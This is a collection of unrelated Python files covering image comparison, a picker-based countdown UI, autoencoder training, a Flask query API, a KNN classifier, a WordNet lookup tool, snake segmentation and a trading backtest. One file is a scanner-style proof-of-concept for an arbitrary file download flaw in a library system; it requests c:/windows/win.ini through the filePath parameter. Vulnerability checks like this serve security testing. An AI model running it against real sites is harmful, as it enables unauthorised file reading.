    image2 = cv2.resize(image2, dim, interpolation=cv2.INTER_AREA)
    end = time.time()
    duration = end - start
    m, s = compare_images(image1, image2)
    return m, s, duration

def process_csv(input_file_path, output_file_path="Result.csv"):
    """
    Loads the CSV and iterates over the rows to provide similary and processing cost
    :param input_file_path str: The two-column file name containing image paths
    :param output_file_path str: The location to store the process of the input rows
    """
    logging.debug("process_csv")
    csvfile = read_csv(input_file_path)
    print(csvfile.head(5))

    # for loop inside an iteration to evaluate the previous results:
    # empty arrays
    similar = []
    elapsed = []
    for _index, row in csvfile.iterrows():
        filePath1 = row['Image1']
        filePath2 = row['Image2']
        logging.debug("Processing files '{}' and '{}':".format(row['Image1'], row['Image2']))
        m, s, d = compare(filePath1, filePath2)
        similar.append(s)
        elapsed.append(d)
        print(m, s, d)
        if (1-s > 0.9):
            logging.debug("Match")
        else:
            logging.debug("Different")

    csvfile["similar"] = similar
    csvfile["elapsed"] = elapsed
    csvfile.to_csv(output_file_path)


# coding: utf-8

from objc_util import ObjCInstance, c, ObjCClass, ns, create_objc_class, NSObject
from ctypes import c_void_p
import ui
import arrow

# Data for four pickers
_data = [
    [str(x) for x in range(0,10)],
    [str(x) for x in range(0, 24)],
    [str(x) for x in range(0,60)],
    [str(x) for x in range(0,60)],
]

# ObjC classes
UIColor = ObjCClass('UIColor')
UIPickerView = ObjCClass('UIPickerView')
UIFont = ObjCClass('UIFont')
NSAttributedString = ObjCClass('NSAttributedString')

# Default attributes, no need to recreate them again and again
def _str_symbol(name):
    return ObjCInstance(c_void_p.in_dll(c, name))

_default_attributes = {
    _str_symbol('NSFontAttributeName'): UIFont.fontWithName_size_(ns('Courier'), 16),
    _str_symbol('NSForegroundColorAttributeName'): UIColor.blackColor(),
    _str_symbol('NSBackgroundColorAttributeName'): UIColor.whiteColor()
}

# Data source & delegate methods
def pickerView_attributedTitleForRow_forComponent_(self, cmd, picker_view, row, component):
    tag = ObjCInstance(picker_view).tag()
    return NSAttributedString.alloc().initWithString_attributes_(ns(_data[tag - 1][row]), ns(_default_attributes)).ptr

def pickerView_titleForRow_forComponent_(self, cmd, picker_view, row, component):
    tag = ObjCInstance(picker_view).tag()
    return ns(_data[tag - 1][row]).ptr

def pickerView_numberOfRowsInComponent_(self, cmd, picker_view, component):
    tag = ObjCInstance(picker_view).tag()
    return len(_data[tag - 1])

def numberOfComponentsInPickerView_(self, cmd, picker_view):
    return 1

def rowSize_forComponent_(self, cmd, picker_view, component):
    return 100

def pickerView_rowHeightForComponent_(self, cmd, picker_view, component):
    return 30

def pickerView_didSelectRow_inComponent_(self, cmd, picker_view, row, component):
    tag = ObjCInstance(picker_view).tag()
    print(f'Did select {_data[tag - 1][row]}')

methods = [
    numberOfComponentsInPickerView_, pickerView_numberOfRowsInComponent_,
    rowSize_forComponent_, pickerView_rowHeightForComponent_, pickerView_attributedTitleForRow_forComponent_,
    pickerView_didSelectRow_inComponent_
]

protocols = ['UIPickerViewDataSource', 'UIPickerViewDelegate']

UIPickerViewDataSourceAndDelegate = create_objc_class(
    'UIPickerViewDataSourceAndDelegate', NSObject, methods=methods, protocols=protocols
)

# UIPickerView wrapper which behaves like ui.View (in terms of init, layout, ...)
class UIPickerViewWrapper(ui.View):
    def __init__(self, **kwargs):
        super().__init__(**kwargs)
        self._picker_view = UIPickerView.alloc().initWithFrame_(ObjCInstance(self).bounds()).autorelease()
        ObjCInstance(self).addSubview_(self._picker_view)

    def layout(self):
        self._picker_view.frame = ObjCInstance(self).bounds()

    @property
    def tag(self):
        return self._picker_view.tag()

    @tag.setter
    def tag(self, x):
        self._picker_view.setTag_(x)

    @property
    def delegate(self):
        return self._picker_view.delegate()

    @delegate.setter
    def delegate(self, x):
        self._picker_view.setDelegate_(x)

    @property
    def data_source(self):
        return self._picker_view.dataSource()

    @data_source.setter
    def data_source(self, x):
        self._picker_view.setDataSource_(x)

class MyTimerTest(ui.View):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.background_color = 'white'
        self.countdown_time = arrow.now().shift(days=+3, hours=+1, minutes=+3)
        self.make_view()
        self.update_interval = 1

    def make_view(self):

        self.delegate_and_datasource = UIPickerViewDataSourceAndDelegate.alloc().init().autorelease()

        x = 50
        dx = 100
        dy = 100
        for i in range(0,4):
          l = ui.Label(frame=(x,50,dx,dy))
          l.text = ['day','hour','min','sec'][i]
          l.alignment = ui.ALIGN_CENTER
          self.add_subview(l)
          pv = UIPickerViewWrapper(frame=[x, 100, dx, dy])
          pv.name = l.text
          pv.delegate = self.delegate_and_datasource
          pv.data_source = self.delegate_and_datasource
          pv._picker_view.userInteractionEnabled = False

          pv.tag = i + 1
          self.add_subview(pv)
          x = x + dx

    def update(self):
        #self.update_interval = 30 if self.update_interval == 1 else 1
        td = self.countdown_time - arrow.now()
        self.name = str(td)
        self.disp_counters(td)

    def disp_counters(self,td):
        days  = td.days
        secs  = td.seconds
        hours = int(secs/3600)
        secs  = secs - hours*3600
        mins  = int(secs/60)
        secs  = secs - mins*60
        self['day']._picker_view.selectRow_inComponent_animated_(days, 0, True)
        self['hour']._picker_view.selectRow_inComponent_animated_(hours, 0, True)
        self['min']._picker_view.selectRow_inComponent_animated_(mins, 0, True)
        self['sec']._picker_view.selectRow_inComponent_animated_(secs, 0, True)

if __name__ == '__main__':
    f = (0, 0, 500, 480)
    tt = MyTimerTest(frame=f)
    tt.present('sheet')


import torch
import sys,os
import random
sys.path.insert(0, os.path.join(sys.path[0], '..'))
from collections import OrderedDict

import numpy as np
from utils.import_modules import import_attr
from models.vae_models import Autoencoder, VariationalAutoencoder, CondVariationalAutoencoder
from utils.load_save import save_dictionary, load_dictionary
from torch.optim.lr_scheduler import MultiStepLR
from examples.config_file import config

ig = config()

def train(autoencoder, data, labels=None, ig=None):
    opt = torch.optim.Adam(autoencoder.parameters(), lr=ig.lr)
    scheduler = MultiStepLR(opt, milestones=[1700,1900], gamma=0.1)
    for epoch in range(ig.n_epochs):
        total_loss = 0
        for i in range(0,len(data),ig.bs):
            x = torch.Tensor(data[i:i+ig.bs]).to(ig.device) # GPU
            opt.zero_grad()
            if ig.ea_type == 'cvae':
               y = torch.Tensor(labels[i:i+ig.bs]).to(ig.device)
               x_hat = autoencoder(x, y/5100.)
            else:
               x_hat = autoencoder(x)
            if ig.ea_type == 'ae':
               loss = ((x - x_hat)**2).sum()
            else:
               loss = ((x - x_hat)**2).sum() + autoencoder.encoder.kl
            loss.backward()
            opt.step()
            total_loss += loss.item()
        print("Epoch:{}/{}, Loss:{}".format(epoch,ig.n_epochs,total_loss/len(data)))
        if epoch % 100 == 0:
           torch.save(autoencoder.state_dict(), ig.model_checkpoint + ig.ea_type+'_encoder_in'+str(ig.high_dim)+'_'+'proj'+str(ig.low_dim)+'.pth')
           torch.save(autoencoder.state_dict(), ig.model_checkpoint + ig.ea_type+'_decoder_in'+str(ig.high_dim)+'_'+'proj'+str(ig.low_dim)+'.pth')
#        scheduler.step(epoch)
    return autoencoder

def count_parameters(model):
    return sum(p.numel() for p in model.parameters() if p.requires_grad)

Xtrain = np.zeros([0, ig.high_dim])
Ytrain = np.zeros([0, 1])
arr = os.listdir(ig.data_samples_dir)
threshold = 100.
k = 0
for i in arr:
    if 'turbo' in i and 'no' in i and k < 5:
       dict_input = load_dictionary(ig.data_samples_dir+i)
       print(i)
       X_ = dict_input['Xepisodes']
       Y_ = dict_input['Yepisodes'].reshape(-1,)
       if Y_[Y_<threshold] != []:
          Xtrain = np.append(Xtrain, X_[(Y_<threshold),:], axis=0)
          Ytrain = np.append(Ytrain, Y_[(Y_<threshold)].reshape(-1,1), axis=0)
       k += 2

if ig.ea_type == 'vae':
   vae = VariationalAutoencoder(ig.high_dim, ig.low_dim).to(ig.device) # GPU
elif ig.ea_type == 'cvae':
   vae = CondVariationalAutoencoder(ig.high_dim, ig.low_dim).to(ig.device) # GPU
elif ig.ea_type == 'ae':
   vae = Autoencoder(ig.high_dim, ig.low_dim).to(ig.device) # GPU

print(Ytrain.shape, count_parameters(vae))
input('enter')

vae = train(vae, Xtrain, Ytrain, ig)
torch.save(vae.encoder.state_dict(), ig.model_checkpoint + ig.ea_type+'_encoder_in'+str(ig.high_dim)+'_'+'proj'+str(ig.low_dim)+'.pth')
torch.save(vae.decoder.state_dict(), ig.model_checkpoint + ig.ea_type+'_decoder_in'+str(ig.high_dim)+'_'+'proj'+str(ig.low_dim)+'.pth')

sample = torch.Tensor(Xtrain[:1]).to(ig.device)
if ig.ea_type == 'vae':
   print(sample.data,vae(sample))
elif ig.ea_type == 'cvae':
   Y = torch.Tensor([[0]])
   print(sample.data,vae(sample, Y))


from flask import Flask, request, url_for, jsonify
from includes.database import *
app = Flask(__name__)

session = Session(engine)

# Function where we handle validation
def validationCheck(**kwargs):
	# validation - if these values fail return a 400 (BAD REQUEST) error
	content = []
	if kwargs.get('grade') not in ['A', 'B', 'C']:
		content.append({'grade': kwargs.get('grade') + ' is not a valid grade.  Only A, B, or C are acceptable'})

	# returning there is content return True else return response
	if len(content) > 0:
		resp = jsonify(content)
		resp.status_code = 400
		return resp
	else:
		return True

# Request for getting our data
@app.route("/getdata", methods=['GET'])
def getData():
	grade = 'B' if request.args.get('grade') is None else request.args.get('grade')
	cuisine_type = 'Thai' if request.args.get('cuisine_type') is None else request.args.get('cuisine_type')

	# validation - if these values fail return a 400 (BAD REQUEST) error
	resp = validationCheck(grade=grade)
	if resp is not True:
		return resp

	# validation passed.  We can continue

	# Query that retrieves call
	query = """
		SELECT r.camis_id AS camis,
			   r.dba,
			   b.name AS boro,
			   r.building,
			   r.street,
			   r.zip_code AS zipcode,
			   r.phone,
			   g.label AS grade
		FROM inspections i
		INNER JOIN restaurants r ON i.restaurant_id = r.camis_id
		INNER JOIN boros b ON r.boro_id = b.id
		INNER JOIN cuisines c ON r.cuisine_id = c.id
		INNER JOIN actions a ON i.action_id = a.id
		INNER JOIN violation_codes v ON i.violation_id = v.id
		INNER JOIN critical_flags cf ON i.critical_flag_id = cf.id
		INNER JOIN grades g ON i.grade_id = g.id
		INNER JOIN inspection_types it ON i.inspect_type_id = it.id
		WHERE c.id = (
			SELECT c.id FROM cuisines c WHERE LOWER(c.description) = LOWER(:cuisine_type)
		)
		GROUP BY r.camis_id, r.dba, b.name, g.label, g.score
		HAVING g.score >= (
			SELECT g.score FROM grades g WHERE LOWER(g.label) = LOWER(:grade)
		)
		ORDER BY r.dba
	"""

	# executing our query
	qParams = {
		'grade': grade,
		'cuisine_type': cuisine_type
	}
	results = session.execute(query, qParams)

	# outputting results as a json data set
	data = []
	for i, row in enumerate(results):
		# This puts the data in dicionary format so it can outputed in JSON properly
		data.append(dict(zip(row.keys(), row)))

	return jsonify(data)

if __name__ == "__main__":
	app.run()


import sys
input = sys.stdin.readline
s = input().strip()
dic = {}

for i in range(len(s)):
    for j in range(i+1, len(s)+1):
        if s[i:j] not in dic:
            dic[s[i:j]] = 1
        else:
            dic[s[i:j]] += 1

print(len(dic))

백준/Silver/11478. 서로 다른 부분 문자열의 개수/서로 다른 부분 문자열의 개수.py

서로 다른 부분 문자열의 개수.py


import csv
from sklearn.model_selection import train_test_split
from sklearn.neighbors import KNeighborsClassifier
from sklearn.metrics import confusion_matrix
from sklearn.metrics import f1_score

# Loop through each line in the csv and store the details as an object.
def openFile(fileName):
    # Open the given file name.
    with open(fileName) as csv_file:
        csv_reader = csv.reader(csv_file)
        X,y = [],[] # Stores the data and labels.
        for i,row in enumerate(csv_reader):
            # Ignore row 1 because it's the column names.
            if i == 0:
                continue
            # For each row extract the Class ID and F1,F2,F3 values.
            temp_classID = int(row[6])
            temp_F1 = float(row[8])
            temp_F2 = float(row[9])
            temp_F3 = float(row[10])
            # Append new entry.
            X.append([temp_F1,temp_F2,temp_F3])
            y.append(temp_classID)
    # Shuffle entries and split them into data (X) and labels (y).
    return X,y

def buildConfusionMatrix(y_true,y_pred):
    print("\nThe confusion matrix is:")
    print(confusion_matrix(y_true,y_pred,labels=[1, 2, 3]))
    # Micro - calculates by counting total true positives, false negatives and false positives.
    print("F1 score:" + str(round(f1_score(y_true,y_pred, average='micro'),4)))

def doKNN(X,y,percent,rand,k,metric):
    # Split the data into training and testing set.
    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=percent, random_state=rand)
    # Create a KNN classifier with k neighbours and a given metric.
    knn = KNeighborsClassifier(n_neighbors=k, metric=metric)
    # Train the model by passing in our training data to fit our model to the training data.
    knn.fit(X_train, y_train)
    # Make predictions on the test data.
    y_pred = knn.predict(X_test)
    # Build a confusion matrix and displays the F1 score using the predicted and actual labels.
    buildConfusionMatrix(y_test,y_pred)

def runner():
    # Open file and obtain data and labels.
    X,y = openFile("Data.csv")
    # Customizable values for the KNN classifier and splitting percentage.
    percentage = 0.25
    k = 5
    metric = "manhattan"
    # Does KNN 5 times for different training/testing sets by changing the random seed generator.
    for i in range(5):
        doKNN(X, y, percentage, i, k, metric)
runner()

task 3 - speech phoneme analysis and classification/code/main.py


from pattern.en import singularize
from pattern.en import pluralize
import enchant
from nltk.corpus import wordnet

## creating singular and plural method

## helper method to create singular and plural file

## program initialization goes here
singular_list = []
plural_list = []
diction = enchant.Dict("en_Us")

def creatPluralSingularFile(word):
    if word == singularize(word):
        singular_list.append(word)
    else:
        plural_list.append(word)

def spellChecker(word):
     if diction.check(word):
        print("Spelt Correctly\n")
        return True
     else:
        print("Spelt Incorrectly")
        print("Do you mean->> " , diction.suggest(word) , "\n")
        return False

def getPOS(synsetwords):
    ## synsetword is a list[]of word comming from nltk corpus..
    ## adding verb and now empty list with
    ## with other parth of speach tagin..
    vList = []
    nList = []
    oList = []

    posList = [pos.pos() for pos in synsetwords]
    for pl in posList:
        if pl == "v":
            vList.append(pl)
        elif pl == "n":
            nList.append(pl)
        else:
            oList.append(pl)

    pos_data = [("noun" , len(nList)),
    ("verb" , len(vList)),
    ("others" , len(oList)) ]

    return pos_data

def showUserInputMeaning(isSinglelar , word):
    print("inflection function")
    # An helper function to detect inflection routing
    # 1. pass user input into routing..
    # 2. get meaning and neccessary details if singular ..
    # 3. if plural stemmatize user input and get meaning ..
    # 4. if incorect word check lema ..
    # 5. if lema exit enter inflation detection ...
    # 6. loop through each word and cut off last index [knivesss]..
    # 7. check new list if word is correct [knives]..
    # 8. create list of inflected words [ssn]..
    # 9. pass user input into routing..
    # 10. pass user input into routing..
    print("is singular : " , isSingular , word)
    syn = wordnet.synsets(word)
    wordLenght = len(syn)
    nCounter = 0
    vCounter = 0
    lemmaList = []

##  pre information on word passes in

    print("\n ********************* DICTIONARY *************************\n")
    print(f"The word {word} as {wordLenght} senses")
    print("\n")

    nNum , vNum , *oNum = getPOS(syn)

    print(f"\t ***** As {nNum[1]} sense from {nNum[0]} SubNet ****")

    if isSingular:
        for eachWord in syn:
            if eachWord.pos() == "n":

                lemmaList.clear()
                for lem in eachWord.lemmas():
                    lemmaList.append(lem.name())
                nCounter = nCounter + 1
                print(f" {nCounter}. {lemmaList[0]}")
                print(">>>> : " , lemmaList)
                print("\t Defination -- : " , eachWord.definition())
                print("\t In Context -- : " , eachWord.examples())

            elif eachWord.pos() == "v":
                if vCounter == 0:
                    print("\n")
                    print(f"\t ***** As {vNum[1]} sense from {vNum[0]} SubNet ****")
                lemmaList.clear()
                for lem in eachWord.lemmas():
                    lemmaList.append(lem.name())
                vCounter = vCounter + 1
                print(f" {vCounter}. {lemmaList[0]}")
                print(">>>> : " , lemmaList)
                print("\t Defination -- : " , eachWord.definition())
                print("\t In Context -- : " , eachWord.examples())

    if not isSingular:
        for eachWord in syn:
            if eachWord.pos() == "n":

                lemmaList.clear()
                for lem in eachWord.lemmas():
                    lemmaList.append(pluralize(lem.name()))
                nCounter = nCounter + 1
                print(f" {nCounter}. {lemmaList[0]}")
                print(">>>> : " , lemmaList)
                print("\t Defination -- : " , eachWord.definition())
                print("\t In Context -- : " , eachWord.examples())

            elif eachWord.pos() == "v":
                if vCounter == 0:
                    print("\n")
                    print(f"\t ***** As {vNum[1]} sense from {vNum[0]} SubNet ****")
                lemmaList.clear()
                for lem in eachWord.lemmas():
                    lemmaList.append(pluralize(lem.name()))
                vCounter = vCounter + 1
                print(f" {vCounter}. {lemmaList[0]}")
                print(">>>> : " , lemmaList)
                print("\t Defination -- : " , eachWord.definition())
                print("\t In Context -- : " , eachWord.examples())

def idenfityInflation(word , suggest):
    w_found = False
    l_word = list(word)

    for s in suggest:
        s_word = list(s)

        if l_word == []:
            print("Could not found possible inflection word")
            break

        if l_word == s_word:
            print("found")
            print(f"you inflate ... : {s}")

            for i in inflate_letter:
                infl+i

            print(inflate_letter)
            print(f"word is inflate with {infl}")
            break
        else:
            print("false")

    else:
         print("word reduce [-1]")
         inf = l_word.pop()
         print(inf)
         print(l_word)
         inflate_letter.append(inf)
         idenfityInflation(l_word , suggest)

def printWordSemantic():
    print("print ... word meaning...")

raw_file = open("words_alpha.txt" , "r")

word_file = raw_file.readlines()
p_word = []
words = word_file[:]

for word in words:
    p_word.append(word[:-1])
    creatPluralSingularFile(word[:-1])
else:
    print("loop completed")
    print(len(p_word))

print(singular_list[:10])
print(plural_list[:10])
print(len(singular_list))
print(len(plural_list))

runProgram = True
foundInSingular = False
foundInPlural = False

while runProgram == True:

    foundInSingular = True
    foundInPlural = True

    text = input("Enter a word to search for :")
    user_input = text.lower()

    if user_input == "_exit":
        break

    # check which file i.e (singular or plural file) word can be find....
    isSingular = False

    for word in singular_list:
        if word == user_input:
            print("Word is singular")
            if spellChecker(user_input):
                # call the helper method to display data..
                pass
            else:
                # call the word inflation algorithm
                suggest = diction.suggest(user_input)
                inflate_letter = []
                infl = ""
                idenfityInflation(user_input , suggest)
                pass
            isSingular = True
            showUserInputMeaning(True , user_input)
            break
    else:
        foundInSingular = False
       # print("\t Word not found in sugular file")

    # check for plurality if word not found in singular file....
    for word in plural_list:
        if not isSingular:
            if word == user_input:
                print("Word is plural")
                if spellChecker(user_input):
                    # call the helper method to display data..
                    pass
                else:
                    # call the word inflation algorithm
                    pass
                showUserInputMeaning(False , user_input)
                break
    else:
        foundInPlural = False
       # print("\t Word not found in plural file")

    #second word validation

    if not foundInSingular and  not foundInPlural:

        if not diction.check(user_input):
            suggest = diction.suggest(user_input)
            print("Incorrect spelling : do you mean->> " , suggest )
            inflate_letter = []
            infl = ""
            idenfityInflation(user_input, suggest)

print("\n\n********* program terminated *********")


from root.utils import * # pylint: disable= unused-wildcard-import

import numpy as np
import matplotlib.pyplot as plt
from skimage.color import rgb2gray
from skimage import data
from skimage.filters import gaussian
from skimage.segmentation import active_contour
from skimage.feature import canny
from skimage.filters import threshold_otsu, threshold_triangle, threshold_isodata
from skimage.transform import resize
from skimage.exposure import equalize_hist

shape = (256, 256)

x, y = np.indices(shape)
x_center, y_center = shape[0]/2, shape[1]/2

r = shape[0]/2 + 1
circle_mask = (x - x_center)**2 + (y - y_center)**2 > r**2

second_r = shape[0]/2
second_circle_mask = (x - x_center)**2 + (y - y_center)**2 > second_r**2

def segment(image, returnSegmentedImage= True, returnAllSteps= False):
    #return:
    #   - snake: (n_features, 2) shaped array
    #   - segmented image: 2d-array with initial contours points plotted in red and final ones in blue

    grayScale = toGray(image)
    grayScale[circle_mask] = 0

    center = [grayScale.shape[0]/2, grayScale.shape[1]/2]
    radius = grayScale.shape[0]*0.3

    s = np.linspace(0, 2*np.pi, 400)
    r = center[0] + radius*np.sin(s)
    c = center[1] + radius*np.cos(s)
    init = np.array([r, c]).T

    gauss_image = gaussian(grayScale, 3)

    snake = active_contour(gauss_image,
                        init, alpha=0.018, beta=0.1, gamma=0.001, w_edge=3,
                        w_line=0, coordinates='rc')

    '''
        def active_contour(image, snake, alpha=0.01, beta=0.1,
                        w_line=0, w_edge=1, gamma=0.01,
                        bc=None, max_px_move=1.0,
                        max_iterations=2500, convergence=0.1,
                        *,
                        boundary_condition='periodic',
                        coordinates=None):

        alpha : Snake length shape parameter. Higher values makes snake contract faster.
        beta  : Snake smoothness shape parameter. Higher values makes snake smoother.
        w_line: Controls attraction to brightness. Use negative values to attract toward dark regions.
        w_edge: Controls attraction to edges. Use negative values to repel snake from edges.
        gamma : Explicit time stepping parameter.
    '''

    if returnAllSteps:
        #Create the new image:
        fig, ax = plt.subplots(figsize=(14, 14))
        ax.imshow(gauss_image, cmap='gray')
        ax.plot(init[:, 1], init[:, 0], '--r', lw=3) # pylint: disable=unsubscriptable-object
        ax.plot(snake[:, 1], snake[:, 0], '-b', lw=3)
        ax.set_xticks([]), ax.set_yticks([])
        ax.axis([0, grayScale.shape[1], grayScale.shape[0], 0])

        fig.canvas.draw()

        #Save the segmented canny_image into a numpy array:
        data = np.fromstring(fig.canvas.tostring_rgb(), dtype=np.uint8, sep='')
        data = data.reshape(fig.canvas.get_width_height()[::-1] + (3,))
        segmented_gauss_image = resize(data, (512, 512))

        #Create the new image:
        fig, ax = plt.subplots(figsize=(14, 14))
        ax.imshow(image, cmap='gray')
        ax.plot(init[:, 1], init[:, 0], '--r', lw=3) # pylint: disable=unsubscriptable-object
        ax.plot(snake[:, 1], snake[:, 0], '-b', lw=3)
        ax.set_xticks([]), ax.set_yticks([])
        ax.axis([0, grayScale.shape[1], grayScale.shape[0], 0])

        fig.canvas.draw()

        #Save the segmented image into a numpy array:
        data = np.fromstring(fig.canvas.tostring_rgb(), dtype=np.uint8, sep='')
        data = data.reshape(fig.canvas.get_width_height()[::-1] + (3,))
        segmented_image = resize(data, (512, 512))

        return snake, grayScale, gauss_image, segmented_gauss_image, segmented_image

    if returnSegmentedImage:
        fig, ax = plt.subplots(figsize=(14, 14))
        ax.imshow(image, cmap='gray')
        ax.plot(init[:, 1], init[:, 0], '--r', lw=3) # pylint: disable=unsubscriptable-object
        ax.plot(snake[:, 1], snake[:, 0], '-b', lw=3)
        ax.set_xticks([]), ax.set_yticks([])
        ax.axis([0, grayScale.shape[1], grayScale.shape[0], 0])

        fig.canvas.draw()

        #Save the segmented image into a numpy array:
        data = np.fromstring(fig.canvas.tostring_rgb(), dtype=np.uint8, sep='')
        data = data.reshape(fig.canvas.get_width_height()[::-1] + (3,))
        segmented_image = resize(data, (512, 512))

        return snake, segmented_image

    else:
        return snake


#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
name: 五车图书管系统任意下载
referer: http://www.wooyun.org/bugs/wooyun-2015-0128591
author: Lucifer
description: /5clib/kinweblistaction.action文件中,参数filePath未过滤存在任意文件下载。
'''
import sys
import requests
import warnings
from termcolor import cprint

class clib_kinweblistaction_download_BaseVerify():
    def __init__(self, url):
        self.url = url

    def run(self):
        headers = {
            "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
        }
        payload = "/5clib/kinweblistaction.action?actionName=down&filePath=c:/windows/win.ini"
        vulnurl = self.url + payload
        try:
            req = requests.get(vulnurl, headers=headers, timeout=10, verify=False)

            if r"support" in req.text and r"MPEGVideo" in req.text:
                cprint("[+]存在五车图书管系统任意下载漏洞...(高危)\tpayload: "+vulnurl, "red")
            else:
                cprint("[-]不存在clib_kinweblistaction_download漏洞", "white", "on_grey")

        except:
            cprint("[-] "+__file__+"====>可能不存在漏洞", "cyan")

if __name__ == "__main__":
    warnings.filterwarnings("ignore")
    testVuln = clib_kinweblistaction_download_BaseVerify(sys.argv[1])
    testVuln.run()


import json
from dateutil.parser import parse
import optuna
import optuna.storages as storages
from datetime import datetime, timedelta
import math
import sqlite3
import sys
import numpy as np
import pandas as pd
import time
from decimal import Decimal
import trading_data_process as tdp
from numba import jit
pd.options.mode.chained_assignment = None  # 禁用 SettingWithCopyWarning

def calculate_sma_numpy(arr, window):
    return np.convolve(arr, np.ones(window)/window, mode='valid')

def calculate_vwap(df, period=None): #checked，量价都是使用同样的period参数，合理。
    typical_price = (df['high'] + df['low'] + df['close']) / 3
    weighted_typical_price = typical_price * df['volume']
    # 计算 EMA
    ema_typical_price = weighted_typical_price.ewm(span=period, adjust=False).mean()
    ema_volume = df['volume'].ewm(span=period, adjust=False).mean()
    # 计算 VWAP
    vwap = ema_typical_price / ema_volume
    return vwap

def calculate_ema_numpy(arr, span, alpha=None):
    if alpha == None:
        alpha = 2 / (span + 1)
    ema = np.zeros_like(arr, dtype=np.float64)
    ema[0] = arr[0] if not np.isnan(arr[0]) else 0  # Initialize with the first element if it's not NaN, otherwise use 0
    for t in range(1, len(arr)):
        if np.isnan(arr[t]):
            ema[t] = ema[t-1]  # If current value is NaN, use the last EMA value
        else:
            ema[t] = (1 - alpha) * ema[t-1] + alpha * arr[t]
    return ema

def calculate_vwap_numpy(high, low, close, volume, span):
    typical_price = (high + low + close) / 3
    weighted_typical_price = typical_price * volume
    ema_typical_price = calculate_ema_numpy(weighted_typical_price, span)
    ema_volume = calculate_ema_numpy(volume, span)
    #print("ema_typical_price",ema_typical_price)
    #print("ema_volume",ema_volume)
    vwap = ema_typical_price / ema_volume
    #print("vwap",vwap)
    return vwap

#load_data('BTCUSDT_1m.csv', '2023-08-23 00:00:00', 60)

def calculate_atr(df, period=14):#checked
    # 计算前一天的收盘价
    prev_close = df['close'].shift(1)
    # 计算真实最高价
    true_high = df['high'].where(df['high'] > prev_close, prev_close)
    true_low = df['low'].where(df['low'] < prev_close, prev_close)
    # 计算真实范围
    true_range = true_high - true_low
    # 使用Smoothed Moving Average来计算平均真实范围
    smoothing_factor = 1.0 / period  # 根据SmoothedMovingAverage的定义
    atr = true_range.ewm(alpha=smoothing_factor, adjust=False).mean()
    return atr

def calculate_atr_numpy(high, low, close, period=14):
    # Calculating previous day's close
    prev_close = np.roll(close, shift=1)
    prev_close[0] = np.nan
    # Calculating true high and true low
    true_high = np.maximum(high, prev_close)
    true_low = np.minimum(low, prev_close)
    # Calculating true range
    true_range = true_high - true_low
    # Using Smoothed Moving Average to calculate ATR
    smoothing_factor = 1.0 / period
    atr = calculate_ema_numpy(true_range, period,alpha=smoothing_factor)
    return atr

class TradeLogic:
    def __init__(self, df, index,buy_risk_per_trade,sell_risk_per_trade,buy_stop_loss,sell_stop_loss,buy_take_profit,sell_take_profit):
        self.df = df
        self.index = index
        self.buy_risk_per_trade = buy_risk_per_trade
        self.sell_risk_per_trade = sell_risk_per_trade
        self.buy_stop_loss = buy_stop_loss
        self.sell_stop_loss = sell_stop_loss
        self.buy_take_profit = buy_take_profit
        self.sell_take_profit = sell_take_profit
        self.initialize_values()

    def initialize_values(self):
        for col_name in ["position", "cash", "open_direction", "open_cost_price", "max_profit", "BTC_debt", "USDT_debt", "free_BTC", "net_value"]:
            self.df[col_name][self.index] = self.df[col_name][self.index - 1]
        self.calculate_net_value()

    def calculate_net_value(self):
        index = self.index  # 当前索引
        try:
            if self.df['position'][index] > 0:
                self.df['net_value'][index] = self.df['cash'][index] + self.df['close'][index] * self.df['position'][index] - self.df['BTC_debt'][index] * self.df['close'][index] - self.df['USDT_debt'][index]
            elif self.df['position'][index] <= 0:
                self.df['net_value'][index] = self.df['cash'][index] + (self.df['free_BTC'][index] - self.df['BTC_debt'][index]) * self.df['close'][index] - self.df['USDT_debt'][index]
            else:
                self.df['net_value'][index] = self.df['cash'][index] - self.df['BTC_debt'][index] * self.df['close'][index] - self.df['USDT_debt'][index]
        except Exception as e:
            print(f"Current index: {index}")
            print(f"the date is: {self.df['datetime'][index]}")
            print('---------------------------------')
            for column in self.df.columns:
                print('column is: ',column)
                print(self.df[column][index-100:index+100])
            raise e
            # break statement should be inside a loop

    def borrow_Margin(self, coin, how_much_borrow):
        index = self.index
        if coin == 'BTC':
            self.df['BTC_debt'][index] += how_much_borrow
            self.df['free_BTC'][index] += how_much_borrow
        elif coin == 'USDT':
            self.df['USDT_debt'][index] += how_much_borrow
            self.df['cash'][index] += how_much_borrow
        else:
            print("Please input BTC for sell or USDT for buy.")
        self.calculate_net_value()

    def repay_Margin(self):
        index = self.index
        BTC_debt = self.df['BTC_debt'][index]
        USDT_debt = self.df['USDT_debt'][index]
        if BTC_debt > 0:
            self.create_close_order()
            self.df['free_BTC'][index] -= BTC_debt
            self.df['BTC_debt'][index] -= BTC_debt
        elif USDT_debt > 0:
            self.create_close_order()
            self.df['cash'][index] -= USDT_debt
            self.df['USDT_debt'][index] -= USDT_debt
        else:
            #print("No debt to repay.")
            pass
        self.calculate_net_value()

    def calculate_size(self, avg_volume, risk_per_trade):
        self.calculate_net_value()
        index = self.index  # 当前处理的行索引
        account_net_value = self.df['net_value'][index]  # 账户净值
        volume = self.df['volume'][index]  # 当前成交量
        last_close = self.df['close'][index]  # 最后收盘价
        # 检查账户净值是否为负
        if account_net_value <= 0:
            return "Negative value"
        # 计算交易规模
        size = (account_net_value * risk_per_trade * (volume / avg_volume)) / last_close
        # 如果计算出的规模太大，进行调整
        if size * last_close > 2 * account_net_value:
            size = (2 * account_net_value) / last_close
        # 如果计算出的规模太小（小于 11 USDT），进行调整
        if size * last_close < 11:
            size = 11 / last_close
        return size

    def create_buy_order(self, size):
        index = self.index
        size = float(size)
        if size < 0:
            size = abs(size)
        order = self.df['next_open'][index] * size * 1.0005
        self.df['cash'][index] -= order
        #计算成本价，逻辑要写3个：做空时的减仓，做多时的加仓，空仓时做多。
        #做空时减仓有没有可能减到做多，这个需要测试一下。
        pre_position = self.df['position'][index]
        if pre_position < 0:
            pre_total_cost = -pre_position * self.df['open_cost_price'][index]
            self.df['position'][index] += size
            self.df['open_direction'][index] = "BUY"
            extra_cost = size * float(self.df['next_open'][index]) * 1.0005
            self.df['open_cost_price'][index] = (pre_total_cost-extra_cost)/abs(self.df['position'][index])
        elif pre_position > 0:
            pre_total_cost = pre_position * self.df['open_cost_price'][index]
            self.df['position'][index] += size
